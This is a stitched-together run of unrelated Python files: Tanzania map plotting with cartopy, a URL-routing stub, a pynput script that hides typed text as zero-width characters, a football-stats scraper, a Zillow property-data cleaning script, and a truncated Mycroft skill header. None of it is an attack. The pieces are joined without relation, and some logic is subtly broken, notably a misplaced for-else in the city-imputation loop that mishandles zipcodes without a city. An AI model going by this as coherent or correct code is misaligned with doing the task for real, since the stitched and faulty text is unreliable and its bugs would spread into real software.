                'Lake Eyasi'):
            ax.add_geometries(
                [geom],
                crs=proj,
                edgecolor='none',
                facecolor='#c6e0ff',
                zorder=1)

    # Tanzania, political border
    for record in shpreader.Reader(states_over_lakes_filename).records():
        country_code = record.attributes['ISO_A2']
        if country_code == 'TZ':
            geom = record.geometry
            ax.add_geometries([geom], crs=proj, edgecolor='#a0a0a0', facecolor='none')

def plot_basemap_labels(ax, data_path):
    """Plot countries and regions background
    """
    proj = ccrs.PlateCarree()
    extent = ax.get_extent()

    provinces_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_admin_1_states_provinces_lakes.shp'
    )

    lakes_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_lakes.shp'
    )

    # Neighbour labels
    neighbours = [
        {'country': 'Kenya', 'cx': 36.9, 'cy': -2.1},
        {'country': 'Uganda', 'cx': 29.9, 'cy': -0.8},
        {'country': 'Rwanda', 'cx': 29.5, 'cy': -1.9},
        {'country': 'Burundi', 'cx': 29.3, 'cy': -3.2},
        {'country': 'DRC', 'cx': 28.7, 'cy': -5.8},
        {'country': 'Zambia', 'cx': 32.1, 'cy': -10.5},
        {'country': 'Malawi', 'cx': 33.5, 'cy': -11.7},
        {'country': 'Mozambique', 'cx': 37.1, 'cy': -12.3}
    ]
    for neighbour in neighbours:
        x = neighbour['cx']
        y = neighbour['cy']
        if within_extent(x, y, extent):
            ax.text(
                x, y,
                neighbour['country'].upper(),
                alpha=0.7,
                size=9,
                horizontalalignment='left',
                transform=proj)

    # Regions
    nudge_regions = {
        'Dar-Es-Salaam': (0.2, 0),
        'Kagera': (0.2, 0),
        'Kilimanjaro': (0.2, 0),
        'Manyara': (0.15, 0.1),
        'Morogoro': (0.25, 0),
        'Pwani': (0.1, -0.2),
    }

    no_label_regions = [
        'Kaskazini-Pemba',
        'Kaskazini-Unguja',
        'Kusini-Pemba',
        'Zanzibar South and Central',
        'Zanzibar West'
    ]

    for record in shpreader.Reader(provinces_filename).records():
        country_code = record.attributes['iso_a2']
        if country_code == 'TZ':
            geom = record.geometry
            centroid = geom.centroid
            cx = geom.centroid.x
            cy = geom.centroid.y
            name = record.attributes['name']

            if name in no_label_regions:
                continue

            if name in nudge_regions:
                dx, dy = nudge_regions[name]
                cx += dx
                cy += dy

            if name == 'Dar-Es-Salaam':
                ha = 'left'
            else:
                ha = 'center'

            if within_extent(cx, cy, extent):
                ax.text(
                    cx,
                    cy,
                    name,
                    alpha=0.7,
                    size=8,
                    horizontalalignment=ha,
                    transform=proj)

    # Lakes
    for record in shpreader.Reader(lakes_filename).records():
        name = record.attributes['name']
        geom = record.geometry
        if name in (
                'Lake Victoria',
                'Lake Tanganyika',
                'Lake Malawi'):
            cx = geom.centroid.x
            cy = geom.centroid.y
            # nudge
            if name == 'Lake Victoria':
                cy -= 0.2

            if within_extent(cx, cy, extent):
                ax.text(
                    cx,
                    cy,
                    name,
                    alpha=0.7,
                    size=7,
                    horizontalalignment='center',
                    transform=proj)

    # Ocean
    cx = 39.8
    cy = -7.3
    if within_extent(cx, cy, extent):
        ax.text(
            cx,
            cy,
            'Indian Ocean',
            alpha=0.7,
            size=7,
            horizontalalignment='left',
            transform=proj)

def within_extent(x, y, extent):
    xmin, xmax, ymin, ymax = extent
    return xmin < x and x < xmax and ymin < y and y < ymax

def scale_bar(ax, length=100, location=(0.5, 0.05), linewidth=3):
    """Draw a scale bar

    Adapted from https://stackoverflow.com/questions/32333870/how-can-i-show-a-km-ruler-on-a-cartopy-matplotlib-plot/35705477#35705477

    Parameters
    ----------
    ax : axes
    length : int
        length of the scalebar in km.
    location: tuple
        center of the scalebar in axis coordinates (ie. 0.5 is the middle of the plot)
    linewidth: float
        thickness of the scalebar.
    """
    # lat-lon limits
    llx0, llx1, lly0, lly1 = ax.get_extent(ccrs.PlateCarree())

    # Transverse mercator for length
    x = (llx1 + llx0) / 2
    y = lly0 + (lly1 - lly0) * location[1]
    tmc = ccrs.TransverseMercator(x, y)

    # Extent of the plotted area in coordinates in metres
    x0, x1, y0, y1 = ax.get_extent(tmc)

    # Scalebar location coordinates in metres
    sbx = x0 + (x1 - x0) * location[0]
    sby = y0 + (y1 - y0) * location[1]
    bar_xs = [sbx - length * 500, sbx + length * 500]

    # Plot the scalebar and label
    ax.plot(bar_xs, [sby, sby], transform=tmc, color='k', linewidth=linewidth)
    ax.text(sbx, sby + 10*length, str(length) + ' km', transform=tmc,
            horizontalalignment='center', verticalalignment='bottom')

def plot_pop(plt, ax, data_path):
    """Plot population background
    """
    # WorldPop TZA_popmap15adj_v2b
    population_filename = os.path.join(data_path, 'Infrastructure', 'Population',
                                       'TZA_popmap15adj_v2b_resampled.tif')

    # Read in raster data
    gdal.UseExceptions()
    ds = gdal.Open(population_filename)
    data = ds.ReadAsArray()
    data[data < 0] = 0

    gt = ds.GetGeoTransform()

    # get the edge coordinates
    width = ds.RasterXSize
    height = ds.RasterYSize
    xres = gt[1]
    yres = gt[5]

    xmin = gt[0]
    xmax = gt[0] + (xres * width)
    ymin = gt[3] + (yres * height)
    ymax = gt[3]

    lat_lon_extent = (xmin, xmax, ymax, ymin)

    # Create color map
    colors = plt.get_cmap('Greys')

    # Plot population data
    ax.imshow(data, extent=lat_lon_extent, cmap=colors, norm=LogNorm(vmin=0.1, vmax=10000), zorder=1, alpha=0.5)

def plot_regions(ax, data_path):
    """Plot regions background
    """
    proj_lat_lon = ccrs.PlateCarree()

    # Regions
    provinces_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_admin_1_states_provinces_lakes.shp'
    )

    # Regions
    for record in shpreader.Reader(provinces_filename).records():
        country_code = record.attributes['iso_a2']
        if country_code == 'TZ':
            geom = record.geometry
            ax.add_geometries([geom], crs=proj_lat_lon, edgecolor='#ffffff', facecolor=(1, 1, 1, 0), zorder=2)

            centroid = geom.centroid
            cx = geom.centroid.x
            cy = geom.centroid.y
            name = record.attributes['name']

            skip_regions = [
                'Dar-Es-Salaam',
                'Kusini-Pemba',
                'Kaskazini-Pemba',
                'Kaskazini-Unguja',
                'Zanzibar South and Central',
                'Zanzibar West',
            ]
            if name in skip_regions:
                continue

            nudge_regions = {
                'Kagera': (0.2, 0),
                'Manyara': (0.1, 0.1),
                'Pwani': (0.1, -0.2),
            }

            if name in nudge_regions:
                dx, dy = nudge_regions[name]
                cx += dx
                cy += dy

            if name == 'Dar-Es-Salaam':
                ha = 'left'
            else:
                ha = 'center'

            ax.text(
                cx,
                cy,
                name.upper(),
                alpha=0.3,
                size=6,
                horizontalalignment=ha,
                transform=proj_lat_lon)

def line_length(line, ellipsoid='WGS-84'):
    """Length of a line in meters, given in geographic coordinates

    Adapted from https://gis.stackexchange.com/questions/4022/looking-for-a-pythonic-way-to-calculate-the-length-of-a-wkt-linestring#answer-115285

    Args:
        line: a shapely LineString object with WGS-84 coordinates
        ellipsoid: string name of an ellipsoid that `geopy` understands (see
            http://geopy.readthedocs.io/en/latest/#module-geopy.distance)

    Returns:
        Length of line in meters
    """
    if line.geometryType() == 'MultiLineString':
        return sum(line_length(segment) for segment in line)

    return sum(
        vincenty(a, b, ellipsoid=ellipsoid).meters
        for a, b in pairwise(line.coords)
    )

class HandlerImage(HandlerBase):
    """Use image in legend

    Adapted from https://stackoverflow.com/questions/42155119/replace-matplotlib-legends-labels-with-image
    """
    def __init__(self, path, space=15, offset=5):
        self.space = space
        self.offset = offset
        self.image_data = plt.imread(path)
        super(HandlerImage, self).__init__()

    def create_artists(self, legend, orig_handle,
                       xdescent, ydescent, width, height, fontsize, trans):
        scale = 1.5
        bb = Bbox.from_bounds(
            xdescent + self.offset,
            ydescent,
            height * self.image_data.shape[1] / self.image_data.shape[0] * scale,
            height * scale)

        tbb = TransformedBbox(bb, trans)
        image = BboxImage(tbb)
        image.set_data(self.image_data)

        self.update_prop(image, orig_handle, legend)
        return [image]

def get_border_points():
    """Return id=>label dictionary of border crossing points
    """
    return {
        'air': {
            'HTAR': 'Arusha',
            'HTDA': 'Julius Nyerere',
            'HTKJ': 'Kilimanjaro ',
        },
        'road': {
            7507: 'Sirari',
            6306: 'Namanga',
            4028: 'Kasumulu',
            8406: 'Rusumo',
            5822: 'Holili',
            5313: 'Horohoro',
            4012: 'Tunduma',
            8529: 'Kabanga',
            8407: 'Mutukula',
        },
        'port': {
            'port_1': 'Dar es Salaam port',
            'port_2': 'Mtwara',
            'port_3': 'Tanga',
            'port_4': 'Mwanza',
            'port_9': 'Kigoma',
        },
        'rail': {
            'rail_node_16': 'Tunduma Station',
        }
    }

def read_border_geoms_and_labels(sector, filename):
    """Read filename, returning (geom, label) tuples for each border point in
    border_points_info for given sector
    """
    border_points_info = get_border_points()
    nodes = []
    id_by_sector = {
        "road": "nodenumber",
        "rail": "id",
        "port": "id",
        "air": "ident",
    }
    for record in shpreader.Reader(filename).records():
        id_ = record.attributes[id_by_sector[sector]]
        if id_ in border_points_info[sector]:
            nodes.append((record.geometry, border_points_info[sector][id_]))
    return nodes

def plot_border_crossings(ax, nodes, resource_path, show_labels=True):
    """Plot airport, port, road and rail border crossings
    """
    proj_lat_lon = ccrs.PlateCarree()
    # Icons
    boat_icon_filename = os.path.join(resource_path, 'boat.png')
    ferry_im = plt.imread(boat_icon_filename)
    plane_icon_filename = os.path.join(resource_path, 'plane.png')
    plane_im = plt.imread(plane_icon_filename)

    node_buffer = 0.08

    # Roads
    xs = []
    ys = []
    for geom, label in nodes["road"]:
        xs.append(geom.x)
        ys.append(geom.y)
        if show_labels:
            ax.text(
                geom.x + node_buffer, geom.y + node_buffer,
                label,
                transform=proj_lat_lon,
                zorder=4,
                size=8
            )
    ax.scatter(xs, ys, facecolor='#d1170a', s=11, zorder=3)

    # Railways
    xs = []
    ys = []
    for geom, label in nodes["rail"]:
        x = geom.x - 0.1
        xs.append(x)
        ys.append(geom.y)
        if show_labels:
            ax.text(
                x + node_buffer,  geom.y + node_buffer,
                label,
                transform=proj_lat_lon, zorder=4, ha='right', size=8
            )
    ax.scatter(xs, ys, facecolor='#33a02c', s=11, zorder=3)

    # Offset defines icon size
    offset = 0.15

    # Ports
    for geom, label in nodes["port"]:
        x = geom.x
        y = geom.y

        img_extent = (
            x - offset,
            x + offset,
            y - offset,
            y + offset
        )
        ax.imshow(
            ferry_im,
            origin='upper', extent=img_extent, transform=proj_lat_lon, zorder=4)

        if show_labels:
            ax.text(
                x + offset/2, y + offset/2,
                label,
                transform=proj_lat_lon, zorder=4, size=8)

    # Airports
    for geom, label in nodes["air"]:
        x = geom.x
        y = geom.y

        # Nudge airports which are next to ports
        if label == 'Julius Nyerere':
            x -= 0.2

        img_extent = (
            x - offset,
            x + offset,
            y - offset,
            y + offset
        )
        ax.imshow(
            plane_im,
            origin='upper', extent=img_extent, transform=proj_lat_lon, zorder=5)

        if show_labels:
            if label == 'Arusha':
                y += 0.07
                x += 0.05
                align = 'right'
            elif label == 'Julius Nyerere':
                y -= 0.21
                x -= 0.05
                align = 'right'
            else:
                y -= 0.21
                x += 0.05
                align = 'right'

            ax.text(
                x, y,
                label,
                transform=proj_lat_lon, zorder=4, ha=align, size=8)

def round_sf(x, places=1):
    """Round number to significant figures
    """
    if x == 0:
        return 0
    sign = x / abs(x)
    x = abs(x)
    exp = floor(log10(x)) + 1
    shift = 10 ** (exp - places)
    rounded = round(x / shift) * shift
    return rounded * sign


from kiwi.sites import respond_with_file, CustomMap

def App(app, request):
  mapping = [
    CustomMap(hint='/start',
              path='1567_14913.html'),
    CustomMap(hint='/hello-world.css?type=custom',
              mimetype='application/custom'),
    CustomMap(hint='/go?to=spain',
              status=302,
              location='http://www.spain.info/en_US/'),
    CustomMap(hint='/go?to=japan',
              status=302,
              location='http://www.japan-guide.com/'),
    CustomMap(hint='/CORS/hello',
              path='b1f153f3/719e44f9/hello.json',
              mimetype='application/json',
              acao='*'),
    CustomMap(hint='/get',
              mimetype='application/json',
              path='json1',
              examine=lambda x: b'1' in x),
    CustomMap(hint='/get',
              mimetype='application/json',
              path='json2',
              examine=lambda x: b'2' in x),
  ]
  return respond_with_file(contents_root='contents/hello',
                           mapping=mapping,
                           request=request,
                           logger=app.logger)


from pynput import keyboard
import clipboard
controller = keyboard.Controller()
string = ""
binaryout = ""
outstring = ""
characters = [8203,8291]
yes = False
def on_press(key):
    global yes
    yes = True

def on_release(key):
    global yes
    global shift, string
    if key == keyboard.Key.backspace:
        pass
    elif key == keyboard.Key.end:
        return False
    elif key == keyboard.Key.space:
        string += " "
        controller.press(keyboard.Key.backspace)
        controller.release(keyboard.Key.backspace)
    elif yes == True:
        try:
            string += key.char
            print(ord(key.char))
            controller.press(keyboard.Key.backspace)
            controller.release(keyboard.Key.backspace)
        except:
            pass
    return True

def unicodetype(character):
    controller.press(keyboard.Key.ctrl_l)
    controller.press(keyboard.Key.shift_l)
    controller.press("u")
    controller.release("u")
    controller.release(keyboard.Key.shift_l)
    controller.release(keyboard.Key.ctrl_l)
    controller.type("{0:04x}".format(character))
    controller.press(keyboard.Key.enter)
    controller.release(keyboard.Key.enter)
# Collect events until released
with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()
for char in string:
    binaryout += "{0:016b}".format(ord(char))
print(binaryout)
for char in binaryout:
    if char == "0":
        outstring += chr(characters[0])
        #unicodetype(characters[0])
    else:
        outstring += chr(characters[1])
        #unicodetype(characters[1])
clipboard.copy(outstring)
controller.press(keyboard.Key.ctrl_l)
controller.press("v")
controller.release("v")
controller.release(keyboard.Key.ctrl_l)
#convert the string to invisible characters
#type the invisible characters


import urllib.request
from bs4 import BeautifulSoup
import os

# Assigning link to a variable

myLink = "https://www.fantasypros.com/nfl/reports/leaders/qb.php?year=2015"

# Opens the URL
getLink=urllib.request.urlopen(myLink)
f = open('game.txt', 'w+')
# Converts to HTML
soup = BeautifulSoup(getLink,  "html.parser")
# Prints Header for the wiki page
print(soup.h1.text)
for link in soup.findAll('div'):
    # Goes to the table and collects data from the class  wikitable sortable plainrowheaders
   table = soup.find("table", { "class" : "table table-bordered table-striped table-hover" })

# looping all elements in tr tags
for row in table.findAll('tr'):
    for h in row.findAll('th'):
        f.write(h.text+' ')
    for r in row.findAll('td'):
       cells = r.text
        # prints td elements
       print(cells)
       f.write(cells+'  ')
    f.write('\n')

       # elements = row.find('th')
        # prints th elements
        #print(elements.text)
f.close()


import pandas as pd
import numpy as np
from uszipcode import ZipcodeSearchEngine

print("Loading data")
property_data = pd.read_csv('data/properties_2016.csv')

# ### Pools & Hot tubs
print("Preprocessing pools and hot tubs features")

# "0 pools"
property_data.poolcnt.fillna(0,inplace = True)
# "0 hot tubs or spas"
property_data.hashottuborspa.fillna(0,inplace = True)
# Convert "True" to 1
property_data.hashottuborspa.replace(to_replace = True, value = 1,inplace = True)
# Set properties that have a pool but no info on poolsize equal to the median poolsize value.
property_data.loc[property_data.poolcnt==1, 'poolsizesum'] = property_data.loc[property_data.poolcnt==1, 'poolsizesum'].fillna(property_data[property_data.poolcnt==1].poolsizesum.median())
# "0 pools" = "0 sq ft of pools"
property_data.loc[property_data.poolcnt==0, 'poolsizesum']=0
# "0 pools with a spa/hot tub"
property_data.pooltypeid2.fillna(0,inplace = True)
# "0 pools without a hot tub"
property_data.pooltypeid7.fillna(0,inplace = True)
# Drop redundant feature
property_data.drop('pooltypeid10', axis=1, inplace=True)

# ### Fireplace Data
print("Preprocessing fireplace features")

# If "fireplaceflag" is "True" and "fireplacecnt" is "NaN", we will set "fireplacecnt" equal to the median value of "1".
property_data.loc[(property_data['fireplaceflag'] == True) & (property_data['fireplacecnt'].isnull()), ['fireplacecnt']] = 1
# If 'fireplacecnt' is "NaN", replace with "0"
property_data.fireplacecnt.fillna(0,inplace = True)
# If "fireplacecnt" is 1 or larger "fireplaceflag" is "NaN", we will set "fireplaceflag" to "True".
property_data.loc[(property_data['fireplacecnt'] >= 1.0) & (property_data['fireplaceflag'].isnull()), ['fireplaceflag']] = True
property_data.fireplaceflag.fillna(0,inplace = True)
# Convert "True" to 1
property_data.fireplaceflag.replace(to_replace = True, value = 1,inplace = True)

# ### Garage Data
print("Preprocessing garage features")

property_data.garagecarcnt.fillna(0,inplace = True)
property_data.garagetotalsqft.fillna(0,inplace = True)

# ### Tax Data Delinquency
print("Preprocessing tax features")

# There are two features related to tax delinquency:
# * "`taxdelinquencyflag`" - Property taxes for this parcel are past due as of 2015.
# * "`taxdelinquencyyear`" - Year for which the unpaid property taxes were due.

# Replace "NaN" with "0"
property_data.taxdelinquencyflag.fillna(0,inplace = True)

# Change "Y" to "1"
property_data.taxdelinquencyflag.replace(to_replace = 'Y', value = 1,inplace = True)

# Drop "taxdelinquencyyear"
property_data.drop('taxdelinquencyyear', axis=1, inplace=True)

# ### The Rest
print("Preprocessing the rest of the features")

# * "`storytypeid`" - Numerical ID that describes all types of homes. Mostly missing, so we should drop this category. Crazy idea would be to try and integrate street view of each home, and use image recognition to classify each type of story ID.
# Drop "storytypeid"
property_data.drop('storytypeid', axis=1, inplace=True)

# * "`basementsqft`" - Square footage of basement. Mostly missing, suggesting no basement, so we will replace "NaN" with "0".
# Replace "NaN" with 0, signifying no basement.
property_data.basementsqft.fillna(0,inplace = True)

# * "`yardbuildingsqft26 `" - Storage shed square footage. We can set "NaN" values to "0". Might be useful to change this to a categorical category of just "1"s and "0"s (has a shed vs doesn't have a storage shed), but some of the sheds are enormous and others are tiny, so we will keep the actual square footage.
# Replace 'yardbuildingsqft26' "NaN"s with "0".
property_data.yardbuildingsqft26.fillna(0,inplace = True)

# * "`architecturalstyletypeid`" - What is the architectural style of the house? Examples: ranch, bungalow, Cape Cod, etc. Because this is only present in a small fraction of the homes, I'm going to drop this category. (Idea: One can also assume that most homes in the same neighborhood have the same style. Could also try image recognition.)
# Drop "architecturalstyletypeid"
property_data.drop('architecturalstyletypeid', axis=1, inplace=True)

# * "`typeconstructiontypeid`" - What material is the house made out of? Missing in a bunch, so probably drop category. Would be very difficult image recognition problem.
# * "`finishedsquarefeet13`" - Perimeter of living area. This seems more like describing the shape of the house and is closely related to the square footage. I recommend dropping the category.
# Drop "typeconstructiontypeid" and "finishedsquarefeet13"
property_data.drop('typeconstructiontypeid', axis=1, inplace=True)
property_data.drop('finishedsquarefeet13', axis=1, inplace=True)

# * "`buildingclasstypeid`" - Describes the internal structure of the home. Not a lot of information gained and present in less than 1% of properties. I will drop.# Drop "buildingclasstypeid"
property_data.drop('buildingclasstypeid', axis=1, inplace=True)

# * "`decktypeid`" - Type of deck (if any) on property. Looks like a value is either "66.0" or "NaN". I will keep this feature and change the "66.0" to "1" for "Yes" and "NaN" to "0" for "No".
# Change "decktypeid" "Nan"s to "0"
property_data.decktypeid.fillna(0,inplace = True)
# Convert "decktypeid" "66.0" to "1"
property_data.decktypeid.replace(to_replace = 66.0, value = 1,inplace = True)

# * "`finishedsquarefeet6`" - Base unfinished and finished area. Not sure what this means. Seems like it gives valuable information, but replacing "NaN"s with "0"s would be incorrect. Perhaps it is a subset of other categories. Probably drop, but TBD.
# * "`finishedsquarefeet15`" - Total area. Should be equal to sum of all other finishedsquarefeet categories.
# * "`finishedfloor1squarefeet`" - Sq footage of first floor. Could cross check this with number of stories.
# * "`finishedsquarefeet50`" - Identical to above category? Drop one of them. Duplicate.
# * "`finishedsquarefeet12`" - Finished living area.
# * "`calculatedfinishedsquarefeet`" - Total finished living area of home.

# "`finishedsquarefeet6`" is rarely present, and even when it is present, it is equal to "`calculatedfinishedsquarefeet`". Because of this, we will drop it. Same scenario with "`finishedsquarefeet12`", so we will drop that as well. "`finishedsquarefeet50`" is identical to "`finishedfloor1squarefeet`", so we will also drop "`finishedfloor1squarefeet`".
# Drop "finishedsquarefeet6"
property_data.drop('finishedsquarefeet6', axis=1, inplace=True)

# Drop "finishedsquarefeet12"
property_data.drop('finishedsquarefeet12', axis=1, inplace=True)

# Drop "finishedfloor1squarefeet"
property_data.drop('finishedfloor1squarefeet', axis=1, inplace=True)

# Of the six "squarefeet" categories listed above, we dropped three and are left with these three:
# * "`calculatedfinishedsquarefeet`" - Present in 98%. Total finished living area of home. Let's fill the rest with the median values.
# * "`finishedsquarefeet15`" - Present in 6.4%. Most cases, it is equal to "`calculatedfinishedsquarefeet`", so we will fill in the "NaN" values with the value of "`calculatedfinishedsquarefeet`". Total area. Should be equal to sum of all other finishedsquarefeet categories.
# * "`finishedsquarefeet50`" - If "`numberofstories`" is equal to "1", then we can replace the "NaN"s with the "`calculatedfinishedsquarefeet`" value. Fill in the rest with the average values.

# Replace "NaN" "calculatedfinishedsquarefeet" values with mean.
property_data['calculatedfinishedsquarefeet'].fillna((property_data['calculatedfinishedsquarefeet'].mean()), inplace=True)

# drop "finishedsquarefeet15" values since present in only 6.4 % and when present, is mostly equal to calculatedfinishedsquarefeet.
property_data.drop("finishedsquarefeet15", axis=1, inplace=True)

# missing numberofstories seems to imply 1 story
property_data.numberofstories.fillna(1,inplace = True)

# If "numberofstories" is equal to "1", then we can replace the "NaN"s with the "calculatedfinishedsquarefeet" value. Fill in the rest with the average values.
property_data.loc[property_data['numberofstories'] == 1.0,'finishedsquarefeet50'] = property_data['calculatedfinishedsquarefeet']
property_data['finishedsquarefeet50'].fillna((property_data['finishedsquarefeet50'].mean()), inplace=True)

# * "`yardbuildingsqft17`" - Patio in yard. Do same as storage shed category.
# Replace 'yardbuildingsqft17' "NaN"s with "0".
property_data.yardbuildingsqft17.fillna(0,inplace = True)

# Bathrooms

bathroomcnt = property_data['bathroomcnt'].value_counts().idxmax()
property_data['bathroomcnt'] = property_data['bathroomcnt'].fillna(bathroomcnt)

property_data.threequarterbathnbr.fillna(0, inplace=True)

property_data.drop("fullbathcnt", axis=1, inplace=True)
property_data.drop("calculatedbathnbr", axis=1, inplace=True)

# * "`airconditioningtypeid`" - If "NaN", change to "5" for "None".
property_data.airconditioningtypeid.fillna(5,inplace = True)

# * "`regionidneighborhood`" - Neighborhood. Could fill in blanks. Would need a key that maps lat & longitude regions with specific neighborhoods. Because "`longitude`" and "`latitude`" essentially provide this information, we will drop "`regionidneighborhood`".
# Drop "regionidneighborhood"
property_data.drop('regionidneighborhood', axis=1, inplace=True)

# * "`heatingorsystemtypeid`" - Change "NaN" to "13" for "None"
property_data.heatingorsystemtypeid.fillna(13,inplace = True)

# * "`buildingqualitytypeid`" - Change "NaN" to most common value.
# Fill in "NaN" "buildingqualitytypeid" with most common
buildingqual = property_data['buildingqualitytypeid'].value_counts().idxmax()
property_data['buildingqualitytypeid'] = property_data['buildingqualitytypeid'].fillna(buildingqual)

# * "`unitcnt`" - Number of units in a property. Change "NaN" to "1"
property_data.unitcnt.fillna(1,inplace = True)

# * "`propertyzoningdesc`" - This seems like a very error-ridden column with so many unique values. It may provide some valuable info, so lets just fill the "NaN" with the most common value.
# Fill in "NaN" "propertyzoningdesc" with most common
propertyzoningdesc = property_data['propertyzoningdesc'].value_counts().idxmax()
property_data['propertyzoningdesc'] = property_data['propertyzoningdesc'].fillna(propertyzoningdesc)

# * "`lotsizesquarefeet`" - Area of lot in square feet. Fill "NaN" with average.
property_data['lotsizesquarefeet'].fillna((property_data['lotsizesquarefeet'].mean()), inplace=True)

# * "`censustractandblock`" & "`rawcensustractandblock`" - Census tract and block ID combined. Look like duplicate values. I think we should drop these because they are related to location which is covered by "`longitude`" and "`latitude`". Let's view the values first.
# These look like information we might be able to work with. Let's just drop "`censustractandblock`" because it is the same as "`rawcensustractandblock`".

# Drop "censustractandblock"
property_data.drop('censustractandblock', axis=1, inplace=True)

# * "`landtaxvaluedollarcnt`" - Assessed value of land area of parcel.
# * "`structuretaxvaluedollarcnt`" - Assessed value of built structure on land.
# * "`taxvaluedollarcnt`" - Total tax assessed value of property. "structuretax..." + "landtax...".
# * "`taxamount`" - Total property tax assessed for assessment year.

# * "`landtaxvaluedollarcnt`" - We can fill in the "NaN"s with "0". It appears some properties do not have own any land. An example of this could be an apartment in large building where only the structurevalue would exist.
# * "`structuretaxvaluedollarcnt`" - Same as "`landtaxvaluedollarcnt`", but opposite. An example of a "NaN" in this category would be an empty lot.
# * "`taxvaluedollarcnt`" - We can just fill in the "NaN" values with the average.
# * "`taxamount`" - We should calculate a new category called 'taxpercentage' where we divide the taxamount by the 'taxvaluedollarcnt', then we can fill in the "NaN" values with the average tax percentage.

property_data.landtaxvaluedollarcnt.fillna(0,inplace = True)
property_data.structuretaxvaluedollarcnt.fillna(0,inplace = True)
property_data['taxvaluedollarcnt'].fillna((property_data['taxvaluedollarcnt'].mean()), inplace=True)

property_data['taxpercentage'] = property_data['taxamount'] / property_data['taxvaluedollarcnt']
property_data['taxpercentage'].fillna((property_data['taxpercentage'].mean()), inplace=True)

# Now we will drop "`taxamount`" because we have replaced it with "`taxpercentage`".
# Drop "taxamount"
property_data.drop('taxamount', axis=1, inplace=True)

# * "`yearbuilt`" - Year home was built. We can just fill in the "NaN" values with the most common value.
# Fill in "NaN" "yearbuilt" with most common
yearbuilt = property_data['yearbuilt'].value_counts().idxmax()
property_data['yearbuilt'] = property_data['yearbuilt'].fillna(yearbuilt)

# Fill in "fips" "NaN"s
fips = property_data['fips'].value_counts().idxmax()
property_data['fips'] = property_data['fips'].fillna(fips)

# Fill in "propertylandusetypeid" "NaN"s
propertylandusetypeid = property_data['propertylandusetypeid'].value_counts().idxmax()
property_data['propertylandusetypeid'] = property_data['propertylandusetypeid'].fillna(propertylandusetypeid)

# Fill in "rawcensustractandblock" "NaN"s
#rawcensustractandblock = property_data['rawcensustractandblock'].value_counts().idxmax()
#property_data['rawcensustractandblock'] = property_data['rawcensustractandblock'].fillna(rawcensustractandblock)

# Fill in "assessmentyear" "NaN"s
assessmentyear = property_data['assessmentyear'].value_counts().idxmax()
property_data['assessmentyear'] = property_data['assessmentyear'].fillna(assessmentyear)

# Fill in "bedroomcnt" "NaN"s
bedroomcnt = property_data['bedroomcnt'].value_counts().idxmax()
property_data['bedroomcnt'] = property_data['bedroomcnt'].fillna(bedroomcnt)

# Fill in "roomcnt" "NaN"s
roomcnt = property_data['roomcnt'].value_counts().idxmax()
property_data['roomcnt'] = property_data['roomcnt'].fillna(roomcnt)

# Fill in "propertycountylandusecode" "NaN"s
propertycountylandusecode = property_data['propertycountylandusecode'].value_counts().idxmax()
property_data['propertycountylandusecode'] = property_data['propertycountylandusecode'].fillna(propertycountylandusecode)

##

latitude = property_data.latitude.value_counts().idxmax()
property_data.latitude.fillna(latitude, inplace=True)
longitude = property_data.longitude.value_counts().idxmax()
property_data.longitude.fillna(longitude, inplace=True)

print("Imputing zipcodes")
inds = np.arange(property_data.shape[0])
inds = inds[property_data.regionidzip.isnull().values]
print(len(inds), " zipcodes to impute")
search = ZipcodeSearchEngine()
zipcodes = np.array([int(search.by_coordinate(property_data.latitude.iloc[i]*1e-6, property_data.longitude.iloc[i]*1e-6, radius=50, returns=1)[0]["Zipcode"]) for i in inds])
property_data.regionidzip.loc[inds] = zipcodes

print("Imputing county")
mask = property_data.regionidcounty.isnull().values
zips = np.unique(property_data.regionidzip.loc[mask].values)
for z in zips:
	mask_z = (property_data.regionidzip==z).values
	counties, counts = np.unique(property_data.regionidcounty.loc[np.logical_and(np.logical_not(mask), mask_z)].values, return_counts=True)
	county = counties[counts.argmax()]
	property_data.regionidcounty.loc[np.logical_and(mask, mask_z)] = county

print("Imputing city")
mask = property_data.regionidcity.isnull().values
zips = np.unique(property_data.regionidzip.loc[mask].values)
zips_no_city = []
for z in zips:
	mask_z = (property_data.regionidzip==z).values
	cities, counts = np.unique(property_data.regionidcity.loc[np.logical_and(np.logical_not(mask), mask_z)].values, return_counts=True)
	if len(counts) > 0:
		city = cities[counts.argmax()]
		property_data.regionidcity.loc[np.logical_and(mask, mask_z)] = city
else:
	zips_no_city.append(z)

print(len(zips_no_city), " zipcodes with no city")
print("Imputing missing city with mean")
city = int(property_data.regionidcity.mean())
print("Confirming that imputed city does not already exist")
if (property_data.regionidcity==city).sum() == 0:
	print("Confirmed")
property_data.regionidcity.fillna(city, inplace=True)

"""
# ### Create New Features
print("Creating new features")

property_data['taxpersqft'] = property_data['taxvaluedollarcnt'] / property_data['calculatedfinishedsquarefeet']
property_data['bathpersqft'] = property_data['bathroomcnt'] / property_data['calculatedfinishedsquarefeet']
property_data['roompersqft'] = property_data['roomcnt'] / property_data['calculatedfinishedsquarefeet']
property_data['bedroompersqft'] = property_data['bedroomcnt'] / property_data['calculatedfinishedsquarefeet']
"""

print("Saving preprocessed data")
property_data.to_csv('preprocessed/properties_2016.csv', index=False)

print("Done")


# Copyright 2017 Mycroft AI Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import astral
import time
import arrow
from difflib import SequenceMatcher
from mycroft.skills.core import MycroftSkill
from mycroft.util import connected
from mycroft.util.log import LOG
from mycroft.util.parse import normalize
from mycroft.audio import wait_while_speaking
from mycroft import intent_file_handler
from ast import literal_eval as parse_tuple
from pytz import timezone
from datetime import datetime

def hex_to_rgb(_hex):
    """ turns hex into rgb

        Args:
            hex (str): hex i.e #ff12ff
        Returns:
            (rgb): tuple i.e (123, 200, 155)
    """
    try:
        if '#' in _hex:
            _hex = _hex.replace('#', "").strip()
        if len(_hex) != 6:
            raise
        (r, g, b) = \
            int(_hex[0:2], 16), int(_hex[2:4], 16), int(_hex[4:6], 16)
        return (r, g, b)
    except Exception as e:
        LOG.info(e)
